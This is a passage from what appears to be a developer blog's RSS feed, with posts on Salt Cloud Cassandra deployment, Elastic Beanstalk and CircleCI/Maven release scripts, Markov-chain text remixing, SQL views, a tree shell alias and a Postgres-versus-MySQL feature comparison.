rpc_address: {{ grains['fqdn'] }}
broadcast_rpc_address: {{ salt['mine.get'](grains['id'], 'public_dns').items()[0][1] }}
The cluster name and other central settings are interpolated from the pillar+defaults server dictionary.
cluster_name: "{{ server.cluster_name }}"
...
authenticator: "{{ server.authenticator }}"
...
endpoint_snitch: "{{ server.endpoint_snitch }}"
The changes to the Cassandra 3.0.8 configuration are identical.
srv/salt/cassandra/files/2.2.12/TimeWindowCompactionStrategy-2.2.5.jar
See this post on TheLastPickle for directions on building the TWCS jar.
Highstate
Finally, the Salt highstate needs to ensure that our cassandra-* nodes have the Java and Cassandra states applied. Since Salt-Cloud minions come configured, however, we have to ensure the default salt.minion state is excluded from our Cassandra nodes since otherwise a highstate will blow away the cloud-specific configuration.
srv/salt/top.sls changes
base:
'not cassandra-*':
- match: compound
- salt.minion
'cassandra-*':
- sun-java
- sun-java.env
- cassandra
Startup!
Set the Salt config dir to etc with -c and pass in the map file with -m:
sudo salt-cloud -c etc -m cassandra-test.map
To clean up:
sudo salt-cloud -d cassandra-1 cassandra-2 cassandra-3
]]>
https://di.nmfay.com/salt-cloud-cassandra https://di.nmfay.com/salt-cloud-cassandra Wed, 27 Mar 2019 00:00:00 GMT
<![CDATA[Automatic Node Deploys to Elastic Beanstalk]]> One of my favorite good ideas to ignore is the maxim that you should have your deployment pipeline ready to go before you start writing code. There's always some wrinkle you couldn't have anticipated anyway, so while it sounds good on paper I just don't think it's the best possible use of time. But with anything sufficiently complicated, there's a point where you just have to buckle down and automate rather than waste time repeating the same steps yet again (or, worse, forgetting one). I hit that point recently: the application isn't in production yet, so I'd been "deploying" by means of pulling the repo on an EC2 server, installing dependencies and building in-place, then killing and restarting the node process with nohup. Good enough for demos, not sustainable long-term. Also, I might have in fact missed a step Friday before last and not realized things were mostly broken until the following Monday.
I'd been using CircleCI to build and test the application already, so I wanted to stick with it for deployment as well. However, this precluded using the same EC2 instance: the build container would need to connect to it to run commands over SSH, but this connection would be coming from any of a huge possible range of build container IP addresses. I didn't want to open the server up to the whole world to accommodate the build system. Eventually I settled on Elastic Beanstalk, which can be controlled through the AWS command-line interface with the proper credentials instead of the morass of VPCs and security groups. Just upload a zip file!
The cost of using EBS, it turned out, was that while it made difficult things easy it also made easy things difficult. How do you deploy the same application to different environments? You don't. Everything has to be in that zip file, and if that includes any per-environment configuration then the right config files had better be where they're expected to be. This is less than ideal, but at least it can be scripted. Here's the whole thing (assuming awscli has already been installed):
# what time is it?
TIMESTAMP=$(date +%Y%m%d%H%M%S)
# work around Elastic Beanstalk permissions for node-gyp (bcrypt)
echo "unsafe-perm=true" > .npmrc
# generate artifacts
npm run build
# download config
aws s3 cp s3://elasticbeanstalk-bucket-name/app/development.config.json .
# zip everything up
zip -r app-dev.zip . \
--exclude "node_modules/*" ".git/*" "coverage/*" ".nyc_output/*" "test/*" ".circleci/*"
# upload to s3
aws s3 mv ./app-dev.zip s3://elasticbeanstalk-bucket-name/app/app-dev-$TIMESTAMP.zip
# create new version
aws elasticbeanstalk create-application-version --region us-west-2 \
--application-name app --version-label development-$TIMESTAMP \
--source-bundle S3Bucket=elasticbeanstalk-bucket-name,S3Key=app/app-dev-$TIMESTAMP.zip
# deploy to dev environment
# --application-name app is not specified because apt installs
# an older version of awscli which doesn't accept that option
aws elasticbeanstalk update-environment --region us-west-2 --environment-name app-dev \
--version-label development-$TIMESTAMP
The TIMESTAMP ensures the build can be uniquely identified later. The .npmrc setting is for AWS reasons: as detailed in this StackOverflow answer, the unfortunately-acronymed node-gyp runs as the instance's ec2-user account and doesn't have permissions it needs to compile bcrypt. If you're not using bcrypt (or another project that involves a node-gyp step on install), you don't need that line.
The zip is assembled in three steps:
1. npm build compiles stylesheets, dynamic Pug templates, frontend JavaScript, and so forth.
2. The appropriate environment config is downloaded from an S3 bucket.
3. Everything is rolled together in the zip file, minus the detritus of source control and test results.
Finally, the Elastic Beanstalk deploy happens in two stages:
1. aws elasticbeanstalk create-application-version does what it sounds like: each timestamped zip file becomes a new "version". These don't map exactly to versions as more commonly understood thanks to the target environment configuration, so naming them for the target environment and giving the timestamp helps identify them.
2. aws elasticbeanstalk update-environment actually deploys the newly-created "version" to the destination environment.
Obviously, when it comes time to roll the project out to production, I'll factor the environment out into a variable to download and upload the appropriate artifacts. But even in its current state, this one small script has almost made deployment continuous: every pushed commit gets deployed to Elastic Beanstalk with no manual intervention, unless there are database changes. That's next.
]]>
https://di.nmfay.com/node-elastic-beanstalk https://di.nmfay.com/node-elastic-beanstalk Mon, 08 Oct 2018 00:00:00 GMT
<![CDATA[Surrealist Remixes with Markov Chains]]> There's a new button at the bottom of this (and each) post. Try clicking it! (If you're reading this on dev.to or an RSS reader, you'll need to visit di.nmfay.com to see it)
By now everyone's run into Twitter bots and automated text generators that combine words in ways that almost compute. There's even a subreddit that runs the user-generated content of other subreddits through individual accounts which make posts that seem vaguely representative of their sources, but either defy comprehension or break through into a sublime silliness.
People have engaged in wordplay (and word-work) for as long as we've communicated with words. Taking language apart and putting it back together in novel ways has been the domain of poets, philosophers, and magicians alike for eons, to say nothing of puns, dad jokes, glossolalia, and word salad.
In the early 20th century, artists associated with the Surrealist movement played a game, variously for entertainment and inspiration, called "exquisite corpse". Each player writes a word (in this version, everyone is assigned a part of speech ahead of time) or draws on an exposed section of paper, then folds the sheet over to obscure their work from the next player. Once everyone's had a turn, the full sentence or picture is revealed. The game takes its name from its first recorded result: le cadavre exquis boira le vin nouveau, or "the exquisite corpse shall drink the new wine".
The Surrealist seeds fell on fertile ground and their ideas spread throughout the artistic and literary world, just as they themselves had been informed by earlier avant-garde movements like Symbolism and Dada. In the mid-century, writers and occultists like Brion Gysin and William Burroughs used similar techniques to discover new meanings in old texts. The only real difference in our modern toys is that they run on their own -- it's a little bit horror movie ouija board, except you can see the workings for yourself.
There are a variety of ways to implement this kind of functionality. On the more primitive side, you have "mad libs" algorithms which select random values to insert into known placeholders, as many Twitter bots such as @godtributes or @bottest_takes do. This method runs up against obvious limitations fairly quickly: the set of substitutions is finite, and the structure they're substituted into likewise becomes predictable.
More advanced text generators are predictive, reorganizing words or phrases from a body of text or corpus in ways which reflect the composition of the corpus itself: words aren't simply jumbled up at random, but follow each other in identifiable sequences. Many generators like these run on Markov chains, probabilistic state machines where the next state is a function only of the current state.
Implementing a Textual Markov Chain
The first order of business in using a Markov chain to generate text is to break up the original corpus. Regular expressions matching whitespace make that easy enough, turning it into an array of words. The next step is to establish the links between states, which is where things start getting a little complex.
Textual Markov chains have one important parameter: the prefix length, which defines how many previous states (words) comprise the current state and must be evaluated to find potential next states. Prefixes must comprise at least one word, but for the purposes of natural-seeming text generation the sweet spot tends to be between two and four words depending on corpus length. With too short a prefix length, the output tends to be simply garbled; too long a prefix or too short a corpus, and there may be too few potential next states for the chain to diverge from the original text.
Mapping prefixes to next states requires a sliding window on the array. This is more easily illustrated. Here's a passage from Les Chants de Maldoror, a 19th-century prose poem rediscovered and given new fame (or infamy) by the Surrealists, who identified in its obscene grandiosity a deconstruction of language and the still-developing format of the modern novel that prefigured their own artistic ideology:
He is as fair as the retractility of the claws of birds of prey; or again, as the uncertainty of the muscular movements in wounds in the soft parts of the lower cervical region; or rather, as that perpetual rat-trap always reset by the trapped animal, which by itself can catch rodents indefinitely and work even when hidden under straw; and above all, as the chance meeting on a dissecting-table of a sewing-machine and an umbrella!
Assuming a prefix length of 2, the mapping might start to take this shape:
"He is": ["as"],
"is as": ["fair"],
"as fair": ["as"],
"fair as": ["the"]
Starting from the first prefix ("He is"), there is only one next state possible since the words "He is" only appear once in the corpus. Upon reaching the next state, the active prefix is now "is as", which likewise has only one possible next state, and so forth. But when the current state reaches "as the", the next word to be added may be "retractility", "uncertainty", or "chance", and what happens after that depends on the route taken. Multiple next states introduce the potential for divergence; this is also why having too long a prefix length, or too short a corpus, results in uninteresting output!
Because the prefix is constantly losing its earliest word and appending the next, it's stored as a stringified array rather than as a concatenated string. The order of operations goes like this:
1. Select one of the potential next states for the current stringified prefix array.
2. shift the earliest word out of the prefix array and push the selected next word onto the end.
3. Stringify the new prefix array.
4. Repeat until bored, or until there's no possible next state.
Remix!
If you're interested in the actual code, it's remix.js in devtools, or you can find it in source control.
Markov chain generators aren't usually interactive; that's where the "probabilistic" part of "probabilistic state machine" comes into play. This makes the implementation here incomplete by design. Where only one possible next state exists, the state machine advances on its own, but where there are multiple, it allows the user to choose how to proceed. This, along with starting from the beginning instead of selecting a random opening prefix, gives it more an exploratory direction than if it simply restructured the entire corpus at the push of a button. The jury's still out on whether any great insights lie waiting to be unearthed, as the more mystically-minded practitioners of aleatory editing hoped, but in the mean time, the results are at least good fun.
]]>
https://di.nmfay.com/markov-remix https://di.nmfay.com/markov-remix Sun, 05 Aug 2018 00:00:00 GMT
<![CDATA[Summer 2018: Massive, Twice Over]]> NDC talks are up!
There's also the FullStack London version which is slightly condensed for a shorter timeslot, if you have a SkillsMatter account and want to get right to the fun parts.
If you've read (almost) anything I've written, text or code, odds are you've run into Massive.js. On the off chance you haven't, the elevator pitch is that PostgreSQL exclusivity lets you get a lot more mileage out of your database (as long as it's Postgres) and JavaScript being a dynamically typed, functional-ish language lets you get away with it really easily.
This talk goes over Massive in much more depth: first laying out a case for alternatives to the dominant object-relational mapping data access technique, in general and especially in JavaScript; and then diving into the architecture of Massive itself with plenty of examples. Also, there's some trivia about early 20th century Russian avant-garde art and another bit poking fun at French modernist architect Le Corbusier.
It's the second talk I've done, and overall I was pretty happy with how it went in Oslo and London both! I'm the furthest thing from a natural public speaker but I covered what I wanted to cover, finished at a reasonable time, and didn't screw anything up too badly -- so that's a success in my book. And after all, the only way to improve this particular skill is to keep doing it.
]]>
https://di.nmfay.com/summer-2018 https://di.nmfay.com/summer-2018 Mon, 30 Jul 2018 00:00:00 GMT
<![CDATA[Centralize Your Query Logic!]]> At a talk I gave earlier this month, an audience member asked if Massive supported joining information from multiple tables together. It's come up on the issue tracker before as well. Massive does not currently have this functionality, and while I'm open to suggestions it's not on my own radar.
The central reason for this is that join logic can be tricky to manage from the application architecture side. The ability to correlate and combine what you need when you need it is certainly powerful, but it also embeds assumptions about your database layout in client code. As the database and application evolve, these assumptions can easily fall out of date and out of sync with each other. In real terms, if your application's "model" (whether implicit or explicit) of a user loaded from the database includes only the user record itself sometimes, but other times looks for information in a separate profile table, adds current statistics, et cetera, and you have functionality that operates on A User, either you understand that users come in different shapes and handle them accordingly across the board or you are living on borrowed uptime.
Some application architectures approach this scenario by grouping the query logic together. In the enterprise world, n-tier applications frequently pull related queries into "services" or Data Access Objects (DAOs) so there's at least some kind of organizational schema. This reduces the maintenance overhead somewhat, but it's an imperfect solution, not least because there's nothing but fallible code reviews (if that) standing in the way of someone dropping data access code somewhere else.
Fortunately, there's already part of the application-database ecosystem dedicated to organizing things -- the database itself! And as an organizing principle, it already has its own way to manage complex queries. Sure, it'll involve writing a little SQL, but let's face it: you were going to wind up writing SQL eventually anyway.
If you've only scratched the surface of working with databases, you might not be familiar with views. The good news is they're pretty straightforward: a view is a stored SQL query with a name, given life with the statement CREATE VIEW myview AS SELECT.... You can SELECT from a view just like you can a table, optionally with JOINs and a WHERE clause and all the other trimmings, whereupon the database executes the query. Results are not stored so the information you get out of a view is always current, unless you intentionally sacrifice realtime data for speed by creating a materialized view which does persist results and has to be manually refreshed.
The reason views are underrated and underutilized in application development has mostly to do with the frameworks developers use to communicate with databases. When you have to provide a concrete implementation of a unary User model, odds are you only care about things you can both read and write to, so you back it up with tables instead of using views to shape data for your needs. There's little room for views in object/relational mapping, and when I've had to use O/RMs I've really only been able to take advantage of views to streamline the raw SQL queries you have to write anyway when you use O/RMs.
If you're not stuck with an object-relational mapper, though, you can really get your money's worth out of views! Retrieving user records from a view, or building more complex user-inclusive results by joining it into other views, ensures that you have a consistent definition of what information comprises a user built into your database. You can't always stop other developers from winging it, naturally, but having that central definition to point to eliminates at least one major potential ambiguity. Massive's omission of the join feature encourages developers using it to center their thinking on the database and the tools it offers for organizing information.
As with anything, there are tradeoffs. Here, it's flexibility. Views may be ephemeral stored queries, but they're still part of the database schema for all that, and the schema takes more planning and effort to change than does application code. But it's a good idea to be thinking carefully about this stuff in the first place.
]]>
https://di.nmfay.com/views https://di.nmfay.com/views Wed, 25 Jul 2018 00:00:00 GMT
<![CDATA[Shell Bonsai with tree]]> The shell has just about all the tooling I need for day-to-day operation of a computer: navigating and managing directories and files, text editing, and building, testing, and running projects I'm working on. What it isn't so great at is layouts, or really, displaying anything that isn't a text file (as fun as it is, I'm unwilling to switch out a proper image viewer for tiv).
Directory trees are one of the more commonly-encountered layouts that don't do too well with monospaced ASCII. There's the venerable tree -- and that just about covers the possibilities, because there aren't many more ways to display that kind of structure under those constraints. Fortunately, tree comes with amenities, from pattern-matching to JSON output.
I also do a lot of work on projects which contain certain files I don't care about. With git, I use a .gitignore file in the project root to ensure I don't accidentally add and commit them. This file gets used by more than git, too: my search utility of choice, ripgrep, respects .gitignore rules, as do many other tools all the way up to graphical IDEs.
tree, which predates git by something like a decade at absolute minimum, does not care about your .gitignore. When inspecting the layout of a repository with a moderately-sized ignore ruleset and/or something like node_modules, this makes it all but unusable.
One of tree's features is the -I flag, which ignores files matching a wildcard pattern similar to that used in .gitignore. That means it should be possible to hack something together which respects .gitignore rules without mucking around in coreutils: other system tools output and manipulate files, xargs can manage other commands' arguments, and pipes hook the whole thing together.
Here's the full alias from my .zshrc, if you're just interested in that part (note it all needs to be on one line):
alias trii="(cat .gitignore & echo '.git') |
sed 's/^\(.\+\)$/\1\|/' |
tr -d '\n' |
xargs printf \"-I '%s'\" |
xargs tree -C"
With the exception of -I, you can still pass tree's arguments to trii, so the rest of its toolkit is still available. It's also safe if there's no ignore file in the current directory.
Now, in more depth:
(cat .gitignore & echo '.git')
cat dumps the ignore file to standard output (the console) and echo simply repeats the string ".git" to ensure that the full ruleset excludes the repository directory itself (only a problem with the -a switch which displays hidden files and directories). The single & is just a separator to ensure that both commands run in sequence, as opposed to the more common double && which aborts at the first non-zero exit code. The parentheses run the whole thing in a subshell, returning the full output to be piped into the next segment.
sed 's/^\(.\+\)$/\1\|/'
You can't specify multiple -I values: the last one always wins. Instead, -I can read multiple patterns which are joined together with pipe | characters. That's possible, but it's going to take a couple of steps.
sed is a stream editor which modifies each line coming from the previous segment. Here, it's simply appending the pipe character. Because sed operates on each line as a discrete entity, it can't join them together; that's up to the next segment:
tr -d '\n'
Unlike sed, tr (translate) operates on standard input as it comes in, instead of line by line. The -d switch deletes characters, here the newline. This completes the ignore pattern, with a sample project's .gitignores transformed into this:
.git|src|pkg|**/*.tar.xz|
There's a terminating pipe, but it doesn't make a difference to tree. This line gets passed to yet another command:
xargs printf "-I '%s'"
xargs passes lines from standard input to another command. Here there's only one line, since tr removed all the newline characters, and it's being passed to printf. This is not to be confused with the C standard library function printf: it's a standalone program in the GNU coreutils, although it does much the same thing as its near relative. The net effect of this command is to print the -I switch and the concatenated ignore list together.
xargs tree -C
Finally, it's time to invoke tree! The -C flag adds color to the output. xargs passes the combined -I and ignorelist into the command string, and the result is a tree that excludes everything from the .gitignore.
]]>
https://di.nmfay.com/bonsai https://di.nmfay.com/bonsai Sun, 01 Jul 2018 00:00:00 GMT
<![CDATA[Automating Maven Releases with CircleCI]]> Maven's probably the only all-in-one build tool I've ever really appreciated. I'll probably come to like make eventually and cement my status as old-before-her-time *nix crone, but I haven't had a reason to really dig into it yet so Maven it is. And I'm back at a mostly-Java shop, so let's have some fun!
This week's goal: automating releases from our CircleCI instance. Sounds simple enough, right? Bump the version, cut a tag, publish. How hard could it be?
Well, first off, we're using git-flow, or at least we're preserving master for releases and working off a separate verify branch. Budget git-flow, if you will. That's one complication, since the release has to be tagged on master but verify also needs to be updated so the two don't diverge.
If you're familiar with Maven you may already have guessed the second complication. It's trickier. Maven doesn't work in nice, straightforward semver: Maven accepts several different versioning schemes and has a special SNAPSHOT qualifier for non-release builds. If you're working towards a 1.0 release, your version number is 1.0-SNAPSHOT. After you cut the release, you resume development with 1.1-SNAPSHOT (or 2.0-SNAPSHOT if it really needs a rework already). And so on. It's not meant to be automated, because releases are a big deal in the Maven world and you're expected to have a plan for what you're going to do next instead of reacting to whether you fixed bugs, introduced features, or broke compatibility. And honestly, there are some compelling arguments for doing it this way.
I'm not going to go into them because I'm one half of the software team by myself and they're less applicable working on proprietary stuff at this scale. So let's get to automating!
Workflow
We're using Circle v2 and its workflow feature to organize the build. Every branch gets built: verify and master get deployed to Artifactory, while release triggers its own job, which latter is the linchpin of the whole structure.
workflows:
version: 2
build-and-deploy:
jobs:
- build
- deploy:
requires:
- build
filters:
branches:
only: /^(master|verify)$/
- release:
requires:
- build
filters:
branches:
only: /^release$/
Just Build
I'll be honest, I copied & pasted most of this job definition right out of the docs:
steps:
- checkout
- restore_cache:
keys:
- v1-dependencies-{{ checksum "pom.xml" }}
# fallback to using the latest cache if no exact match is found
- v1-dependencies-
- run: mvn clean install
- save_cache:
paths:
- ~/.m2
key: v1-dependencies-{{ checksum "pom.xml" }}
- persist_to_workspace:
<<: *source
We're caching our dependencies because that's how one does it; mvn clean install is likely overkill (we probably don't need to bother with installing the dependency to the local Maven cache) but it builds and runs our tests and generates the artifact. The only really interesting part here is that we're persisting the important files to a workspace so we can recover it later -- *source refers to another YAML block with a root string and list of paths.
And Deploy
steps:
- attach_workspace:
at: .
- run:
name: Deploy to Artifactory
command: mvn deploy
Here's where we use that workspace. Whenever this job runs, it'll reattach the file structure we saved from the build job. mvn deploy still runs all the intermediary lifecycle stages because that's how Maven rolls, but we don't need to check out the code again.
We've got our POMs set up with the artifactory-maven-plugin so all we have to do to publish is issue mvn deploy. That makes that easy, at least; there's the Artifactory CLI if you prefer, but Maven's whole deal is managing everything so as far as I'm concerned we should let it.
There's just one piece missing, though: how do we actually release a new version of the artifact and set up to begin on the next?
The Release Trigger
One of the ideas of git-flow is that when you're gearing up for a release, you cut a new branch that only contains work towards that release. This is great if you're working on multiple versions of the code simultaneously and releases can take awhile, so you might cherry-pick a bugfix from current development into a legacy release branch to ensure it doesn't affect a subset of your users. Since we're not a product company, we don't really have to worry about that. We're always working on the next release, and it drops when it's ready to drop.
This is going to get complicated. Here's the release build steps in full:
steps:
- checkout
- run:
name: Cut new release
command: |
# assemble current and new version numbers
OLD_VERSION=$(mvn -s .circleci/settings.xml -q \
-Dexec.executable="echo" -Dexec.args='${project.version}' \
--non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)
NEW_VERSION="${OLD_VERSION/-SNAPSHOT/}"
echo "Releasing $OLD_VERSION as $NEW_VERSION"
# ensure dependencies use release versions
mvn -s .circleci/settings.xml versions:use-releases
# write release version to POM
mvn -s .circleci/settings.xml versions:set -DnewVersion="$NEW_VERSION"
# setup git
git config user.name "Release Script"
git config user.email "[email protected]"
# commit and tag
git add pom.xml
git commit -m "release: $NEW_VERSION"
git tag "$NEW_VERSION"
# land on master and publish
git checkout master
git merge --no-edit release
git push origin master --tags
# increment minor version number
MAJ_VERSION=$(echo "$NEW_VERSION" | cut -d '.' -f 1)
MIN_VERSION=$(echo "$NEW_VERSION" | cut -d '.' -f 2)
NEW_MINOR=$(($MIN_VERSION + 1))
DEV_VERSION="$MAJ_VERSION.$NEW_MINOR-SNAPSHOT"
# ready development branch
git checkout verify
git merge --no-edit release
mvn -s .circleci/settings.xml versions:set -DnewVersion="$DEV_VERSION"
git add pom.xml
git commit -m "ready for development: $DEV_VERSION"
git push origin verify
# clean up release branch
git push origin :release
It's not messy, but that's... a lot of bash script. But just like any sufficiently complicated database task involves writing SQL, any sufficiently complicated ops task involves bash. Let's break it down:
Getting Version Numbers
# assemble current and new version numbers
OLD_VERSION=$(mvn -s .circleci/settings.xml -q \
-Dexec.executable="echo" -Dexec.args='${project.version}' \
--non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)
NEW_VERSION="${OLD_VERSION/-SNAPSHOT/}"
echo "Releasing $OLD_VERSION as $NEW_VERSION"
Note the -s .circleci/settings.xml: since Circle's just spinning up a basic OpenJDK image, we have a settings.xml checked into source control. Credentials are interpolated through environment variables, but it's still not great; at some point, I'll want to come back and create a custom Docker image to centralize our configuration.
Maven stores version numbers in the POM. We could pull them out with XPath, but since this is Maven, there's a plugin for that. The OLD_VERSION is the current value; since we're always releasing from the verify branch, this is guaranteed to be a snapshot version, and we need to strip that qualifier off to get NEW_VERSION for the release.
Update Versions
# ensure dependencies use release versions
mvn -s .circleci/settings.xml versions:use-releases
# write release version to POM
mvn -s .circleci/settings.xml versions:set -DnewVersion="$NEW_VERSION"
We don't have a ton of Java libraries, but there are enough that release management is (obviously) a concern. The first statement here makes sure that when we release, we aren't depending on a snapshot version of another of our libraries. The second actually sets the version field in the POM to the release version we generated just now.
You may be asking: why didn't I just alias mvn to mvn -s .circleci/settings.xml? And the answer is: I did, and spent half a day trying to figure out why it didn't work. I don't know if it's this particular image or Circle in general or what, but aliases are just ignored.
Release!
# setup git
git config user.name "Release Script"
git config user.email "[email protected]"
# commit and tag
git add pom.xml
git commit -m "release: $NEW_VERSION"
git tag "$NEW_VERSION"
# land on master and publish
git checkout master
git merge --no-edit release
git push origin master --tags
Since we're going to be committing code, we need to do a little more git configuration to attribute the commits properly. This is another element I could streamline with a custom build image later on.
Next, we commit the updated POM and create a tag. When we merge (with --no-edit since the script can't change the commit message), the release commit and tag will land on the master branch. Then it's just a matter of pushing to the origin.
Next Up...
We've released, but we're not quite done. If we left it here, the next release from the verify branch would run into merge conflicts since master has an updated version in the POM. To prevent that, we have to merge back into verify. Preferably with a snapshot version qualifier, because Maven.
# increment minor version number
MAJ_VERSION=$(echo "$NEW_VERSION" | cut -d '.' -f 1)
MIN_VERSION=$(echo "$NEW_VERSION" | cut -d '.' -f 2)
NEW_MINOR=$(($MIN_VERSION + 1))
DEV_VERSION="$MAJ_VERSION.$NEW_MINOR-SNAPSHOT"
I switched us over to two-part version numbers strictly out of convenience. Since Maven expects you to know what you're working towards, going from 1.0 to 1.1 is a lot more realistic than trying to suss out whether you're looking at 1.0.1 or 1.1.0 next. We can always update the version ourselves if we decide the next release should actually be 2.0, but I'm trying to minimize human involvement here.
# ready development branch
git checkout verify
git merge --no-edit release
mvn -s .circleci/settings.xml versions:set -DnewVersion="$DEV_VERSION"
git add pom.xml
git commit -m "ready for development: $DEV_VERSION"
git push origin verify
Merging release into verify saves us from any potential merge conflicts down the line, since the same release commit now exists both on master and in verify. The script then adds a second commit to verify with the new snapshot version and sends it all up to the origin.
# clean up release branch
git push origin :release
Finally: when a trigger goes off, it resets. We don't want the release branch to hang around long-term. If we did, we'd have to push the release commit up to the origin to avoid merge conflicts in future, and doing that would kick off an infinite loop since the release job is watching this branch. So instead we just delete it from the origin, since it's done everything it needed to do.
Setting it Off
git checkout -b release
git push origin release
That's the payoff. Whenever we're ready to drop a new version, all that has to happen is a new branch named release. You can even do it through the GitHub UI if you're so inclined, in two clicks and seven letters. Once release builds and deletes itself, the ordinary build and deploy jobs take over on both updated master and verify branches. Within a few minutes we've got a release and the first snapshot towards the next landing in Artifactory!
]]>
https://di.nmfay.com/circle-maven-versions https://di.nmfay.com/circle-maven-versions Sat, 26 May 2018 00:00:00 GMT
<![CDATA[The Ultimate Postgres vs MySQL Blog Post]]> I should probably say up front that I love working with Postgres and could die happy without ever seeing a mysql> prompt again. This is not an unbiased comparison -- but those are no fun anyway.
The scenario: two applications, using Massive.js to store and retrieve data. Massive is closely coupled to Postgres by design. Specializing lets it take advantage of features which only exist in some or no other relational databases to streamline data access in a lighter, more "JavaScripty" way than a more traditional object-relational mapper. It's great for getting things done, since the basics are easy and for the complicated stuff where you'd be writing SQL anyway.... you write SQL, you store it in one central place for reuse, and the API makes running it simple.
Where Massive is less useful is if you have to support another RDBMS. This is, ideally, something you know about up front. Anyway: things happen, and sometimes you find yourself having to answer the question "what's it going to look like if we need to run these applications with light but tightly coupled data layers on MySQL?"
Not good, was the obvious answer, but less immediately obvious was how not good. I knew there were some things Postgres did that MySQL didn't, but I also knew there were a ton of things I'd just never tried in the latter. So as I got to work on this, I started keeping notes. Here's everything I found.
Schema Layout
Now that we're all basically over the collective hallucination of a "schemaless" future, arguably the most important aspect of data storage is how information is modeled in a database. Postgres and MySQL are both relational databases, grouping records in strictly-defined tables. But there's a lot of room for variation within that theme.
Multiple Schemas
First things first: "schema" doesn't always mean the same thing. To MySQL, "schema" is synonymous with "database". For Postgres, a "schema" is a namespace within a database, which allows you to group tables, views, and functions together without having to break them apart into different databases.
MySQL's simplicity in this respect is ameliorated by its offering cross-database queries:
SELECT *
FROM db1.table1 t1
JOIN db2.table2 t2 ON t2.t1_id = t1.id;
With Postgres, you can work across schemas, but if you need to query information in a different database, that's a job for...
Foreign Data Wrappers
Foreign data wrappers let Postgres talk to practically anything that represents information as discrete records. You can create a "foreign table" in a Postgres database and SELECT or JOIN it like any other table -- only under the hood, it's actually reading a CSV, talking to another DBMS, or even querying a REST API. It's a powerful enough feature that NoSQL stalwart MongoDB sneakily built their BI Connector on top of Postgres with foreign data wrappers. You don't even need to know C to write a new FDW when Multicorn lets you do it in Python!
Oracle and SQL Server both have some functionality for registering external data sources, but Postgres' offering is the most extensible I'm aware of. MySQL, besides the inter-database query support mentioned above, has nothing.
Table Inheritance
Inheritance is more commonly thought of as an attribute of object-oriented programming languages rather than databases, but Postgres is technically an ORDBMS or object-relational database management system. So you can have a table cities with columns name and population, and a table capitals which inherits the definition of cities but adds an of_country column only relevant, of course, for capital cities. If you SELECT from cities, you get rows from capitals -- they're cities too! You can of course SELECT name FROM ONLY cities to exclude the capitals. This is something of a niche feature, but when you have the right use case it really shines.
MySQL, being a traditional RDBMS, doesn't do this.
Materialized Views
Materialized views are like regular views, except the results of the specifying query are physically stored ('materialized') and must be explicitly refreshed. This allows database developers to cache the results of slower queries when the results don't have to be realtime.
Oracle has materialized views, and SQL Server's indexed views are similar, but MySQL has no materialized view support.
Check Constraints
Constraints in general ensure that invalid data is not stored. The most common constraint is NOT NULL, which prevents records without a value for the non-nullable column from being inserted or updated. Foreign key constraints do likewise when a reference to a record in another table is invalid. Check constraints are the most flexible, and allow validation of any predicate you could put in a WHERE clause -- for example, asserting that prices have to be positive numbers, or that US zip codes have to be five digits.
Per the MySQL docs: the CHECK clause is parsed but ignored by all storage engines.
JSONB and Indexing
Postgres and MySQL both have a JSON column type (MySQL replacement MariaDB does too, but it's currently just an alias for LONGTEXT) and functions for building, processing, and querying JSON fields. Postgres actually goes a step further by offering a JSONB type which processes input data into a binary format. This means it's a little bit slower to write, but much faster to query.
It also means you can index the binary data. A GIN or Generalized INverted index allows queries checking for the existence of specific keys or key-value pairs to avoid scanning every single record for matches. This is huge if you run queries which dig into JSON fields in the WHERE clause.
Default Values Defined by Functions
DEFAULT is a useful specification for columns in a CREATE TABLE statement. At the simplest level, this could be used to baseline a boolean field to true or false if the INSERT statement doesn't give an explicit value. But you can do more than set a scalar value: a timestamp can default to now(), a UUID to any of a variety of UUID-generating functions, any other field to the value returned by whatever function you care to write -- the sky's the limit!
Unless you're using MySQL, in which case the only function you can reference in a DEFAULT clause is now().
Type Differences
Layout's only part of the story, though. Equally important is the difference in type support. The benefit of a robust type system is in enabling database architects to represent information with the greatest accuracy possible. If a value is difficult or impossible to represent with built-in types, it's harder for developers to work with in turn, and if compromises have to be made to cut the data to fit then they can affect entire applications. Some types can even affect the overall database design, such as arrays and enumerations. In general, the more options you have the better.
UUIDs
Postgres has a UUID type. MySQL does not. If you want to store a UUID in MySQL, your options are CHAR, if you want values to be as human-readable as UUIDs ever are, or BINARY, if you want it to be faster but more difficult to work with manually. Postgres also generates more types of UUIDs.
Booleans
Boolean seems like a pretty basic type to have! However, MySQL's boolean is actualy an alias for TINYINT(1). This is why query results show 0 or 1 instead of true or false. It's also why you can set the value of an ostensibly boolean field to 2. Try it!
Postgres: has proper booleans.
Varlena and Lengths
MySQL isn't alone in aliasing standard types in strange ways, however. CHAR, VARCHAR, and TEXT types in Postgres are all aliased representations of the same structure -- the only distinction is that length constraints will be enforced if specified. The documentation notes that this is actually slower, and recommends that unbounded text simply be defined as the TEXT type instead of given an arbitrary maximum length.
What's happening here is that Postgres uses a data structure called a varlena, or VAriable LENgth Array, to store the information. A varlena's first four bytes store the length of the value, making it easy for the database to pick the whole thing out of storage. TEXT is only one of the types that uses this structure, but it's easily the most commonly encountered.
If a varlena is longer than would fit inline, the database uses a system called TOAST ("The Oversized Attribute Storage Technique") to offload it to extended storage transparently. Queries with predicates involving a TOASTable field might not be all that performant with large tables unless designed and indexed carefully, but when the database is returning records it's easy enough to follow the TOAST pointer that the overhead is barely noticeable for most cases.
The upshot of all this, as far as most people are concerned, is this: with Postgres, you only have to worry about establishing a length constraint on fields that have a reason for a length constraint. If there's no clear requirement to limit how much information can go into a field, you don't have to pick an arbitrary number and try to match it up with your page size.
Arrays
Non-scalar values in records! Madness! Dogs and cats living together! Anyone who's worked with JSON, XML, YAML, or even HTML understands that information isn't always flat. Relational architectures have traditionally mandated breaking out any vectors, let alone even more complex values, into new tables. Sometimes that's useful, but often enough it adds complexity to no real purpose. Inlining arrays makes many tasks -- such as tagging records -- much easier.
Postgres has arrays, as does Oracle; MySQL and SQL Server don't.
Customizing Types
If the built-in types aren't sufficient, you can always add your own. Custom types let you define a value to be exactly what you want. Domains are a related concept: types (custom or built-in) which enforce constraints on values. You might for example create a domain to represent a zip code as a TEXT value which uses regular expressions in a CHECK clause to ensure that values consist of five digits, optionally followed by a dash and four more digits.
If you're using Postgres, that is. Oracle and SQL Server both offer some custom type functionality, but MySQL has nothing. You can't even use table-level CHECK constraints because the engine simply ignores them.
Enums
